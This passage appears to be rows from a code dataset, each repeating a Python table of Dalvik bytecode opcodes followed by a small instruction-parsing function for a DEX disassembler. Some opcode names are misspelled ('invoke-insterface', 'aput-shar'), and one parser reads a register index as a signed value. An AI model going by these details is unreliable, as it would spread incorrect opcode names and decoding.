2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT22X(buffer, dex_object, pc_point, offset): v, = struct.unpack_from("h", buffer, 2) arg1 = "v%d" % v return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % ord(buffer[1]), arg1)
null
17,382
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT23X(buffer, dex_object, pc_point, offset): cc, bb, = struct.unpack_from("Bb", buffer, 2) return ( dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % ord(buffer[1]), "v%d" % bb, "v%d" % cc)
null
17,383
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 